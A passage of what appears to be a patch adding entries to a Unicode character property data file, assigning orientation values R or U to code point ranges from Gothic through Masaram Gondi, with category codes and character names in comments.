+10342..10349   ; R  # Lo     [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
+1034A          ; R  # Nl         GOTHIC LETTER NINE HUNDRED
+10350..10375   ; R  # Lo    [38] OLD PERMIC LETTER AN..OLD PERMIC LETTER IA
+10376..1037A   ; R  # Mn     [5] COMBINING OLD PERMIC LETTER AN..COMBINING OLD PERMIC LETTER SII
+10380..1039D   ; R  # Lo    [30] UGARITIC LETTER ALPA..UGARITIC LETTER SSU
+1039F          ; R  # Po         UGARITIC WORD DIVIDER
+103A0..103C3   ; R  # Lo    [36] OLD PERSIAN SIGN A..OLD PERSIAN SIGN HA
+103C8..103CF   ; R  # Lo     [8] OLD PERSIAN SIGN AURAMAZDAA..OLD PERSIAN SIGN BUUMISH
+103D0          ; R  # Po         OLD PERSIAN WORD DIVIDER
+103D1..103D5   ; R  # Nl     [5] OLD PERSIAN NUMBER ONE..OLD PERSIAN NUMBER HUNDRED
+10400..1044F   ; R  # L&    [80] DESERET CAPITAL LETTER LONG I..DESERET SMALL LETTER EW
+10450..1047F   ; R  # Lo    [48] SHAVIAN LETTER PEEP..SHAVIAN LETTER YEW
+10480..1049D   ; R  # Lo    [30] OSMANYA LETTER ALEF..OSMANYA LETTER OO
+104A0..104A9   ; R  # Nd    [10] OSMANYA DIGIT ZERO..OSMANYA DIGIT NINE
+104B0..104D3   ; R  # Lu    [36] OSAGE CAPITAL LETTER A..OSAGE CAPITAL LETTER ZHA
+104D8..104FB   ; R  # Ll    [36] OSAGE SMALL LETTER A..OSAGE SMALL LETTER ZHA
+10500..10527   ; R  # Lo    [40] ELBASAN LETTER A..ELBASAN LETTER KHE
+10530..10563   ; R  # Lo    [52] CAUCASIAN ALBANIAN LETTER ALT..CAUCASIAN ALBANIAN LETTER KIW
+1056F          ; R  # Po         CAUCASIAN ALBANIAN CITATION MARK
+10600..10736   ; R  # Lo   [311] LINEAR A SIGN AB001..LINEAR A SIGN A664
+10740..10755   ; R  # Lo    [22] LINEAR A SIGN A701 A..LINEAR A SIGN A732 JE
+10760..10767   ; R  # Lo     [8] LINEAR A SIGN A800..LINEAR A SIGN A807
+10800..10805   ; R  # Lo     [6] CYPRIOT SYLLABLE A..CYPRIOT SYLLABLE JA
+10808          ; R  # Lo         CYPRIOT SYLLABLE JO
+1080A..10835   ; R  # Lo    [44] CYPRIOT SYLLABLE KA..CYPRIOT SYLLABLE WO
+10837..10838   ; R  # Lo     [2] CYPRIOT SYLLABLE XA..CYPRIOT SYLLABLE XE
+1083C          ; R  # Lo         CYPRIOT SYLLABLE ZA
+1083F          ; R  # Lo         CYPRIOT SYLLABLE ZO
+10840..10855   ; R  # Lo    [22] IMPERIAL ARAMAIC LETTER ALEPH..IMPERIAL ARAMAIC LETTER TAW
+10857          ; R  # Po         IMPERIAL ARAMAIC SECTION SIGN
+10858..1085F   ; R  # No     [8] IMPERIAL ARAMAIC NUMBER ONE..IMPERIAL ARAMAIC NUMBER TEN THOUSAND
+10860..10876   ; R  # Lo    [23] PALMYRENE LETTER ALEPH..PALMYRENE LETTER TAW
+10877..10878   ; R  # So     [2] PALMYRENE LEFT-POINTING FLEURON..PALMYRENE RIGHT-POINTING FLEURON
+10879..1087F   ; R  # No     [7] PALMYRENE NUMBER ONE..PALMYRENE NUMBER TWENTY
+10880..1089E   ; R  # Lo    [31] NABATAEAN LETTER FINAL ALEPH..NABATAEAN LETTER TAW
+108A7..108AF   ; R  # No     [9] NABATAEAN NUMBER ONE..NABATAEAN NUMBER ONE HUNDRED
+108E0..108F2   ; R  # Lo    [19] HATRAN LETTER ALEPH..HATRAN LETTER QOPH
+108F4..108F5   ; R  # Lo     [2] HATRAN LETTER SHIN..HATRAN LETTER TAW
+108FB..108FF   ; R  # No     [5] HATRAN NUMBER ONE..HATRAN NUMBER ONE HUNDRED
+10900..10915   ; R  # Lo    [22] PHOENICIAN LETTER ALF..PHOENICIAN LETTER TAU
+10916..1091B   ; R  # No     [6] PHOENICIAN NUMBER ONE..PHOENICIAN NUMBER THREE
+1091F          ; R  # Po         PHOENICIAN WORD SEPARATOR
+10920..10939   ; R  # Lo    [26] LYDIAN LETTER A..LYDIAN LETTER C
+1093F          ; R  # Po         LYDIAN TRIANGULAR MARK
+10980..1099F   ; U  # Lo    [32] MEROITIC HIEROGLYPHIC LETTER A..MEROITIC HIEROGLYPHIC SYMBOL VIDJ-2
+109A0..109B7   ; R  # Lo    [24] MEROITIC CURSIVE LETTER A..MEROITIC CURSIVE LETTER DA
+109BC..109BD   ; R  # No     [2] MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS..MEROITIC CURSIVE FRACTION ONE HALF
+109BE..109BF   ; R  # Lo     [2] MEROITIC CURSIVE LOGOGRAM RMT..MEROITIC CURSIVE LOGOGRAM IMN
+109C0..109CF   ; R  # No    [16] MEROITIC CURSIVE NUMBER ONE..MEROITIC CURSIVE NUMBER SEVENTY
+109D2..109FF   ; R  # No    [46] MEROITIC CURSIVE NUMBER ONE HUNDRED..MEROITIC CURSIVE FRACTION TEN TWELFTHS
+10A00          ; R  # Lo         KHAROSHTHI LETTER A
+10A01..10A03   ; R  # Mn     [3] KHAROSHTHI VOWEL SIGN I..KHAROSHTHI VOWEL SIGN VOCALIC R
+10A05..10A06   ; R  # Mn     [2] KHAROSHTHI VOWEL SIGN E..KHAROSHTHI VOWEL SIGN O
+10A0C..10A0F   ; R  # Mn     [4] KHAROSHTHI VOWEL LENGTH MARK..KHAROSHTHI SIGN VISARGA
+10A10..10A13   ; R  # Lo     [4] KHAROSHTHI LETTER KA..KHAROSHTHI LETTER GHA
+10A15..10A17   ; R  # Lo     [3] KHAROSHTHI LETTER CA..KHAROSHTHI LETTER JA
+10A19..10A33   ; R  # Lo    [27] KHAROSHTHI LETTER NYA..KHAROSHTHI LETTER TTTHA
+10A38..10A3A   ; R  # Mn     [3] KHAROSHTHI SIGN BAR ABOVE..KHAROSHTHI SIGN DOT BELOW
+10A3F          ; R  # Mn         KHAROSHTHI VIRAMA
+10A40..10A47   ; R  # No     [8] KHAROSHTHI DIGIT ONE..KHAROSHTHI NUMBER ONE THOUSAND
+10A50..10A58   ; R  # Po     [9] KHAROSHTHI PUNCTUATION DOT..KHAROSHTHI PUNCTUATION LINES
+10A60..10A7C   ; R  # Lo    [29] OLD SOUTH ARABIAN LETTER HE..OLD SOUTH ARABIAN LETTER THETH
+10A7D..10A7E   ; R  # No     [2] OLD SOUTH ARABIAN NUMBER ONE..OLD SOUTH ARABIAN NUMBER FIFTY
+10A7F          ; R  # Po         OLD SOUTH ARABIAN NUMERIC INDICATOR
+10A80..10A9C   ; R  # Lo    [29] OLD NORTH ARABIAN LETTER HEH..OLD NORTH ARABIAN LETTER ZAH
+10A9D..10A9F   ; R  # No     [3] OLD NORTH ARABIAN NUMBER ONE..OLD NORTH ARABIAN NUMBER TWENTY
+10AC0..10AC7   ; R  # Lo     [8] MANICHAEAN LETTER ALEPH..MANICHAEAN LETTER WAW
+10AC8          ; R  # So         MANICHAEAN SIGN UD
+10AC9..10AE4   ; R  # Lo    [28] MANICHAEAN LETTER ZAYIN..MANICHAEAN LETTER TAW
+10AE5..10AE6   ; R  # Mn     [2] MANICHAEAN ABBREVIATION MARK ABOVE..MANICHAEAN ABBREVIATION MARK BELOW
+10AEB..10AEF   ; R  # No     [5] MANICHAEAN NUMBER ONE..MANICHAEAN NUMBER ONE HUNDRED
+10AF0..10AF6   ; R  # Po     [7] MANICHAEAN PUNCTUATION STAR..MANICHAEAN PUNCTUATION LINE FILLER
+10B00..10B35   ; R  # Lo    [54] AVESTAN LETTER A..AVESTAN LETTER HE
+10B39..10B3F   ; R  # Po     [7] AVESTAN ABBREVIATION MARK..LARGE ONE RING OVER TWO RINGS PUNCTUATION
+10B40..10B55   ; R  # Lo    [22] INSCRIPTIONAL PARTHIAN LETTER ALEPH..INSCRIPTIONAL PARTHIAN LETTER TAW
+10B58..10B5F   ; R  # No     [8] INSCRIPTIONAL PARTHIAN NUMBER ONE..INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND
+10B60..10B72   ; R  # Lo    [19] INSCRIPTIONAL PAHLAVI LETTER ALEPH..INSCRIPTIONAL PAHLAVI LETTER TAW
+10B78..10B7F   ; R  # No     [8] INSCRIPTIONAL PAHLAVI NUMBER ONE..INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND
+10B80..10B91   ; R  # Lo    [18] PSALTER PAHLAVI LETTER ALEPH..PSALTER PAHLAVI LETTER TAW
+10B99..10B9C   ; R  # Po     [4] PSALTER PAHLAVI SECTION MARK..PSALTER PAHLAVI FOUR DOTS WITH DOT
+10BA9..10BAF   ; R  # No     [7] PSALTER PAHLAVI NUMBER ONE..PSALTER PAHLAVI NUMBER ONE HUNDRED
+10C00..10C48   ; R  # Lo    [73] OLD TURKIC LETTER ORKHON A..OLD TURKIC LETTER ORKHON BASH
+10C80..10CB2   ; R  # Lu    [51] OLD HUNGARIAN CAPITAL LETTER A..OLD HUNGARIAN CAPITAL LETTER US
+10CC0..10CF2   ; R  # Ll    [51] OLD HUNGARIAN SMALL LETTER A..OLD HUNGARIAN SMALL LETTER US
+10CFA..10CFF   ; R  # No     [6] OLD HUNGARIAN NUMBER ONE..OLD HUNGARIAN NUMBER ONE THOUSAND
+10E60..10E7E   ; R  # No    [31] RUMI DIGIT ONE..RUMI FRACTION TWO THIRDS
+11000          ; R  # Mc         BRAHMI SIGN CANDRABINDU
+11001          ; R  # Mn         BRAHMI SIGN ANUSVARA
+11002          ; R  # Mc         BRAHMI SIGN VISARGA
+11003..11037   ; R  # Lo    [53] BRAHMI SIGN JIHVAMULIYA..BRAHMI LETTER OLD TAMIL NNNA
+11038..11046   ; R  # Mn    [15] BRAHMI VOWEL SIGN AA..BRAHMI VIRAMA
+11047..1104D   ; R  # Po     [7] BRAHMI DANDA..BRAHMI PUNCTUATION LOTUS
+11052..11065   ; R  # No    [20] BRAHMI NUMBER ONE..BRAHMI NUMBER ONE THOUSAND
+11066..1106F   ; R  # Nd    [10] BRAHMI DIGIT ZERO..BRAHMI DIGIT NINE
+1107F          ; R  # Mn         BRAHMI NUMBER JOINER
+11080..11081   ; R  # Mn     [2] KAITHI SIGN CANDRABINDU..KAITHI SIGN ANUSVARA
+11082          ; R  # Mc         KAITHI SIGN VISARGA
+11083..110AF   ; R  # Lo    [45] KAITHI LETTER A..KAITHI LETTER HA
+110B0..110B2   ; R  # Mc     [3] KAITHI VOWEL SIGN AA..KAITHI VOWEL SIGN II
+110B3..110B6   ; R  # Mn     [4] KAITHI VOWEL SIGN U..KAITHI VOWEL SIGN AI
+110B7..110B8   ; R  # Mc     [2] KAITHI VOWEL SIGN O..KAITHI VOWEL SIGN AU
+110B9..110BA   ; R  # Mn     [2] KAITHI SIGN VIRAMA..KAITHI SIGN NUKTA
+110BB..110BC   ; R  # Po     [2] KAITHI ABBREVIATION SIGN..KAITHI ENUMERATION SIGN
+110BD          ; R  # Cf         KAITHI NUMBER SIGN
+110BE..110C1   ; R  # Po     [4] KAITHI SECTION MARK..KAITHI DOUBLE DANDA
+110D0..110E8   ; R  # Lo    [25] SORA SOMPENG LETTER SAH..SORA SOMPENG LETTER MAE
+110F0..110F9   ; R  # Nd    [10] SORA SOMPENG DIGIT ZERO..SORA SOMPENG DIGIT NINE
+11100..11102   ; R  # Mn     [3] CHAKMA SIGN CANDRABINDU..CHAKMA SIGN VISARGA
+11103..11126   ; R  # Lo    [36] CHAKMA LETTER AA..CHAKMA LETTER HAA
+11127..1112B   ; R  # Mn     [5] CHAKMA VOWEL SIGN A..CHAKMA VOWEL SIGN UU
+1112C          ; R  # Mc         CHAKMA VOWEL SIGN E
+1112D..11134   ; R  # Mn     [8] CHAKMA VOWEL SIGN AI..CHAKMA MAAYYAA
+11136..1113F   ; R  # Nd    [10] CHAKMA DIGIT ZERO..CHAKMA DIGIT NINE
+11140..11143   ; R  # Po     [4] CHAKMA SECTION MARK..CHAKMA QUESTION MARK
+11150..11172   ; R  # Lo    [35] MAHAJANI LETTER A..MAHAJANI LETTER RRA
+11173          ; R  # Mn         MAHAJANI SIGN NUKTA
+11174..11175   ; R  # Po     [2] MAHAJANI ABBREVIATION SIGN..MAHAJANI SECTION MARK
+11176          ; R  # Lo         MAHAJANI LIGATURE SHRI
+11180..11181   ; R  # Mn     [2] SHARADA SIGN CANDRABINDU..SHARADA SIGN ANUSVARA
+11182          ; R  # Mc         SHARADA SIGN VISARGA
+11183..111B2   ; R  # Lo    [48] SHARADA LETTER A..SHARADA LETTER HA
+111B3..111B5   ; R  # Mc     [3] SHARADA VOWEL SIGN AA..SHARADA VOWEL SIGN II
+111B6..111BE   ; R  # Mn     [9] SHARADA VOWEL SIGN U..SHARADA VOWEL SIGN O
+111BF..111C0   ; R  # Mc     [2] SHARADA VOWEL SIGN AU..SHARADA SIGN VIRAMA
+111C1..111C4   ; R  # Lo     [4] SHARADA SIGN AVAGRAHA..SHARADA OM
+111C5..111C9   ; R  # Po     [5] SHARADA DANDA..SHARADA SANDHI MARK
+111CA..111CC   ; R  # Mn     [3] SHARADA SIGN NUKTA..SHARADA EXTRA SHORT VOWEL MARK
+111CD          ; R  # Po         SHARADA SUTRA MARK
+111D0..111D9   ; R  # Nd    [10] SHARADA DIGIT ZERO..SHARADA DIGIT NINE
+111DA          ; R  # Lo         SHARADA EKAM
+111DB          ; R  # Po         SHARADA SIGN SIDDHAM
+111DC          ; R  # Lo         SHARADA HEADSTROKE
+111DD..111DF   ; R  # Po     [3] SHARADA CONTINUATION SIGN..SHARADA SECTION MARK-2
+111E1..111F4   ; R  # No    [20] SINHALA ARCHAIC DIGIT ONE..SINHALA ARCHAIC NUMBER ONE THOUSAND
+11200..11211   ; R  # Lo    [18] KHOJKI LETTER A..KHOJKI LETTER JJA
+11213..1122B   ; R  # Lo    [25] KHOJKI LETTER NYA..KHOJKI LETTER LLA
+1122C..1122E   ; R  # Mc     [3] KHOJKI VOWEL SIGN AA..KHOJKI VOWEL SIGN II
+1122F..11231   ; R  # Mn     [3] KHOJKI VOWEL SIGN U..KHOJKI VOWEL SIGN AI
+11232..11233   ; R  # Mc     [2] KHOJKI VOWEL SIGN O..KHOJKI VOWEL SIGN AU
+11234          ; R  # Mn         KHOJKI SIGN ANUSVARA
+11235          ; R  # Mc         KHOJKI SIGN VIRAMA
+11236..11237   ; R  # Mn     [2] KHOJKI SIGN NUKTA..KHOJKI SIGN SHADDA
+11238..1123D   ; R  # Po     [6] KHOJKI DANDA..KHOJKI ABBREVIATION SIGN
+1123E          ; R  # Mn         KHOJKI SIGN SUKUN
+11280..11286   ; R  # Lo     [7] MULTANI LETTER A..MULTANI LETTER GA
+11288          ; R  # Lo         MULTANI LETTER GHA
+1128A..1128D   ; R  # Lo     [4] MULTANI LETTER CA..MULTANI LETTER JJA
+1128F..1129D   ; R  # Lo    [15] MULTANI LETTER NYA..MULTANI LETTER BA
+1129F..112A8   ; R  # Lo    [10] MULTANI LETTER BHA..MULTANI LETTER RHA
+112A9          ; R  # Po         MULTANI SECTION MARK
+112B0..112DE   ; R  # Lo    [47] KHUDAWADI LETTER A..KHUDAWADI LETTER HA
+112DF          ; R  # Mn         KHUDAWADI SIGN ANUSVARA
+112E0..112E2   ; R  # Mc     [3] KHUDAWADI VOWEL SIGN AA..KHUDAWADI VOWEL SIGN II
+112E3..112EA   ; R  # Mn     [8] KHUDAWADI VOWEL SIGN U..KHUDAWADI SIGN VIRAMA
+112F0..112F9   ; R  # Nd    [10] KHUDAWADI DIGIT ZERO..KHUDAWADI DIGIT NINE
+11300..11301   ; R  # Mn     [2] GRANTHA SIGN COMBINING ANUSVARA ABOVE..GRANTHA SIGN CANDRABINDU
+11302..11303   ; R  # Mc     [2] GRANTHA SIGN ANUSVARA..GRANTHA SIGN VISARGA
+11305..1130C   ; R  # Lo     [8] GRANTHA LETTER A..GRANTHA LETTER VOCALIC L
+1130F..11310   ; R  # Lo     [2] GRANTHA LETTER EE..GRANTHA LETTER AI
+11313..11328   ; R  # Lo    [22] GRANTHA LETTER OO..GRANTHA LETTER NA
+1132A..11330   ; R  # Lo     [7] GRANTHA LETTER PA..GRANTHA LETTER RA
+11332..11333   ; R  # Lo     [2] GRANTHA LETTER LA..GRANTHA LETTER LLA
+11335..11339   ; R  # Lo     [5] GRANTHA LETTER VA..GRANTHA LETTER HA
+1133C          ; R  # Mn         GRANTHA SIGN NUKTA
+1133D          ; R  # Lo         GRANTHA SIGN AVAGRAHA
+1133E..1133F   ; R  # Mc     [2] GRANTHA VOWEL SIGN AA..GRANTHA VOWEL SIGN I
+11340          ; R  # Mn         GRANTHA VOWEL SIGN II
+11341..11344   ; R  # Mc     [4] GRANTHA VOWEL SIGN U..GRANTHA VOWEL SIGN VOCALIC RR
+11347..11348   ; R  # Mc     [2] GRANTHA VOWEL SIGN EE..GRANTHA VOWEL SIGN AI
+1134B..1134D   ; R  # Mc     [3] GRANTHA VOWEL SIGN OO..GRANTHA SIGN VIRAMA
+11350          ; R  # Lo         GRANTHA OM
+11357          ; R  # Mc         GRANTHA AU LENGTH MARK
+1135D..11361   ; R  # Lo     [5] GRANTHA SIGN PLUTA..GRANTHA LETTER VOCALIC LL
+11362..11363   ; R  # Mc     [2] GRANTHA VOWEL SIGN VOCALIC L..GRANTHA VOWEL SIGN VOCALIC LL
+11366..1136C   ; R  # Mn     [7] COMBINING GRANTHA DIGIT ZERO..COMBINING GRANTHA DIGIT SIX
+11370..11374   ; R  # Mn     [5] COMBINING GRANTHA LETTER A..COMBINING GRANTHA LETTER PA
+11400..11434   ; R  # Lo    [53] NEWA LETTER A..NEWA LETTER HA
+11435..11437   ; R  # Mc     [3] NEWA VOWEL SIGN AA..NEWA VOWEL SIGN II
+11438..1143F   ; R  # Mn     [8] NEWA VOWEL SIGN U..NEWA VOWEL SIGN AI
+11440..11441   ; R  # Mc     [2] NEWA VOWEL SIGN O..NEWA VOWEL SIGN AU
+11442..11444   ; R  # Mn     [3] NEWA SIGN VIRAMA..NEWA SIGN ANUSVARA
+11445          ; R  # Mc         NEWA SIGN VISARGA
+11446          ; R  # Mn         NEWA SIGN NUKTA
+11447..1144A   ; R  # Lo     [4] NEWA SIGN AVAGRAHA..NEWA SIDDHI
+1144B..1144F   ; R  # Po     [5] NEWA DANDA..NEWA ABBREVIATION SIGN
+11450..11459   ; R  # Nd    [10] NEWA DIGIT ZERO..NEWA DIGIT NINE
+1145B          ; R  # Po         NEWA PLACEHOLDER MARK
+1145D          ; R  # Po         NEWA INSERTION SIGN
+11480..114AF   ; R  # Lo    [48] TIRHUTA ANJI..TIRHUTA LETTER HA
+114B0..114B2   ; R  # Mc     [3] TIRHUTA VOWEL SIGN AA..TIRHUTA VOWEL SIGN II
+114B3..114B8   ; R  # Mn     [6] TIRHUTA VOWEL SIGN U..TIRHUTA VOWEL SIGN VOCALIC LL
+114B9          ; R  # Mc         TIRHUTA VOWEL SIGN E
+114BA          ; R  # Mn         TIRHUTA VOWEL SIGN SHORT E
+114BB..114BE   ; R  # Mc     [4] TIRHUTA VOWEL SIGN AI..TIRHUTA VOWEL SIGN AU
+114BF..114C0   ; R  # Mn     [2] TIRHUTA SIGN CANDRABINDU..TIRHUTA SIGN ANUSVARA
+114C1          ; R  # Mc         TIRHUTA SIGN VISARGA
+114C2..114C3   ; R  # Mn     [2] TIRHUTA SIGN VIRAMA..TIRHUTA SIGN NUKTA
+114C4..114C5   ; R  # Lo     [2] TIRHUTA SIGN AVAGRAHA..TIRHUTA GVANG
+114C6          ; R  # Po         TIRHUTA ABBREVIATION SIGN
+114C7          ; R  # Lo         TIRHUTA OM
+114D0..114D9   ; R  # Nd    [10] TIRHUTA DIGIT ZERO..TIRHUTA DIGIT NINE
+11580..115AE   ; U  # Lo    [47] SIDDHAM LETTER A..SIDDHAM LETTER HA
+115AF..115B1   ; U  # Mc     [3] SIDDHAM VOWEL SIGN AA..SIDDHAM VOWEL SIGN II
+115B2..115B5   ; U  # Mn     [4] SIDDHAM VOWEL SIGN U..SIDDHAM VOWEL SIGN VOCALIC RR
+115B6..115B7   ; U  # Cn     [2] <reserved-115B6>..<reserved-115B7>
+115B8..115BB   ; U  # Mc     [4] SIDDHAM VOWEL SIGN E..SIDDHAM VOWEL SIGN AU
+115BC..115BD   ; U  # Mn     [2] SIDDHAM SIGN CANDRABINDU..SIDDHAM SIGN ANUSVARA
+115BE          ; U  # Mc         SIDDHAM SIGN VISARGA
+115BF..115C0   ; U  # Mn     [2] SIDDHAM SIGN VIRAMA..SIDDHAM SIGN NUKTA
+115C1..115D7   ; U  # Po    [23] SIDDHAM SIGN SIDDHAM..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
+115D8..115DB   ; U  # Lo     [4] SIDDHAM LETTER THREE-CIRCLE ALTERNATE I..SIDDHAM LETTER ALTERNATE U
+115DC..115DD   ; U  # Mn     [2] SIDDHAM VOWEL SIGN ALTERNATE U..SIDDHAM VOWEL SIGN ALTERNATE UU
+115DE..115FF   ; U  # Cn    [34] <reserved-115DE>..<reserved-115FF>
+11600..1162F   ; R  # Lo    [48] MODI LETTER A..MODI LETTER LLA
+11630..11632   ; R  # Mc     [3] MODI VOWEL SIGN AA..MODI VOWEL SIGN II
+11633..1163A   ; R  # Mn     [8] MODI VOWEL SIGN U..MODI VOWEL SIGN AI
+1163B..1163C   ; R  # Mc     [2] MODI VOWEL SIGN O..MODI VOWEL SIGN AU
+1163D          ; R  # Mn         MODI SIGN ANUSVARA
+1163E          ; R  # Mc         MODI SIGN VISARGA
+1163F..11640   ; R  # Mn     [2] MODI SIGN VIRAMA..MODI SIGN ARDHACANDRA
+11641..11643   ; R  # Po     [3] MODI DANDA..MODI ABBREVIATION SIGN
+11644          ; R  # Lo         MODI SIGN HUVA
+11650..11659   ; R  # Nd    [10] MODI DIGIT ZERO..MODI DIGIT NINE
+11660..1166C   ; R  # Po    [13] MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT
+11680..116AA   ; R  # Lo    [43] TAKRI LETTER A..TAKRI LETTER RRA
+116AB          ; R  # Mn         TAKRI SIGN ANUSVARA
+116AC          ; R  # Mc         TAKRI SIGN VISARGA
+116AD          ; R  # Mn         TAKRI VOWEL SIGN AA
+116AE..116AF   ; R  # Mc     [2] TAKRI VOWEL SIGN I..TAKRI VOWEL SIGN II
+116B0..116B5   ; R  # Mn     [6] TAKRI VOWEL SIGN U..TAKRI VOWEL SIGN AU
+116B6          ; R  # Mc         TAKRI SIGN VIRAMA
+116B7          ; R  # Mn         TAKRI SIGN NUKTA
+116C0..116C9   ; R  # Nd    [10] TAKRI DIGIT ZERO..TAKRI DIGIT NINE
+11700..11719   ; R  # Lo    [26] AHOM LETTER KA..AHOM LETTER JHA
+1171D..1171F   ; R  # Mn     [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
+11720..11721   ; R  # Mc     [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA
+11722..11725   ; R  # Mn     [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
+11726          ; R  # Mc         AHOM VOWEL SIGN E
+11727..1172B   ; R  # Mn     [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11730..11739   ; R  # Nd    [10] AHOM DIGIT ZERO..AHOM DIGIT NINE
+1173A..1173B   ; R  # No     [2] AHOM NUMBER TEN..AHOM NUMBER TWENTY
+1173C..1173E   ; R  # Po     [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI
+1173F          ; R  # So         AHOM SYMBOL VI
+118A0..118DF   ; R  # L&    [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
+118E0..118E9   ; R  # Nd    [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
+118EA..118F2   ; R  # No     [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
+118FF          ; R  # Lo         WARANG CITI OM
+11A00          ; U  # Lo         ZANABAZAR SQUARE LETTER A
+11A01..11A06   ; U  # Mn     [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08   ; U  # Mc     [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A   ; U  # Mn     [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32   ; U  # Lo    [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38   ; U  # Mn     [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39          ; U  # Mc         ZANABAZAR SQUARE SIGN VISARGA
+11A3A          ; U  # Lo         ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E   ; U  # Mn     [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A3F..11A46   ; U  # Po     [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A47          ; U  # Mn         ZANABAZAR SQUARE SUBJOINER
+11A48..11A4F   ; U  # Cn     [8] <reserved-11A48>..<reserved-11A4F>
+11A50          ; U  # Lo         SOYOMBO LETTER A
+11A51..11A56   ; U  # Mn     [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58   ; U  # Mc     [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B   ; U  # Mn     [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83   ; U  # Lo    [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A84..11A85   ; U  # Cn     [2] <reserved-11A84>..<reserved-11A85>
+11A86..11A89   ; U  # Lo     [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96   ; U  # Mn    [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97          ; U  # Mc         SOYOMBO SIGN VISARGA
+11A98..11A99   ; U  # Mn     [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
+11A9A..11A9C   ; U  # Po     [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9D          ; U  # Cn         <reserved-11A9D>
+11A9E..11AA2   ; U  # Po     [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
+11AA3..11AAF   ; U  # Cn    [13] <reserved-11AA3>..<reserved-11AAF>
+11AC0..11AF8   ; R  # Lo    [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
+11C00..11C08   ; R  # Lo     [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
+11C0A..11C2E   ; R  # Lo    [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
+11C2F          ; R  # Mc         BHAIKSUKI VOWEL SIGN AA
+11C30..11C36   ; R  # Mn     [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
+11C38..11C3D   ; R  # Mn     [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
+11C3E          ; R  # Mc         BHAIKSUKI SIGN VISARGA
+11C3F          ; R  # Mn         BHAIKSUKI SIGN VIRAMA
+11C40          ; R  # Lo         BHAIKSUKI SIGN AVAGRAHA
+11C41..11C45   ; R  # Po     [5] BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2
+11C50..11C59   ; R  # Nd    [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+11C5A..11C6C   ; R  # No    [19] BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK
+11C70..11C71   ; R  # Po     [2] MARCHEN HEAD MARK..MARCHEN MARK SHAD
+11C72..11C8F   ; R  # Lo    [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11C92..11CA7   ; R  # Mn    [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA
+11CA9          ; R  # Mc         MARCHEN SUBJOINED LETTER YA
+11CAA..11CB0   ; R  # Mn     [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
+11CB1          ; R  # Mc         MARCHEN VOWEL SIGN I
+11CB2..11CB3   ; R  # Mn     [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
+11CB4          ; R  # Mc         MARCHEN VOWEL SIGN O
+11CB5..11CB6   ; R  # Mn     [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06   ; R  # Lo     [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09   ; R  # Lo     [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30   ; R  # Lo    [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36   ; R  # Mn     [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A          ; R  # Mn         MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D   ; R  # Mn     [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
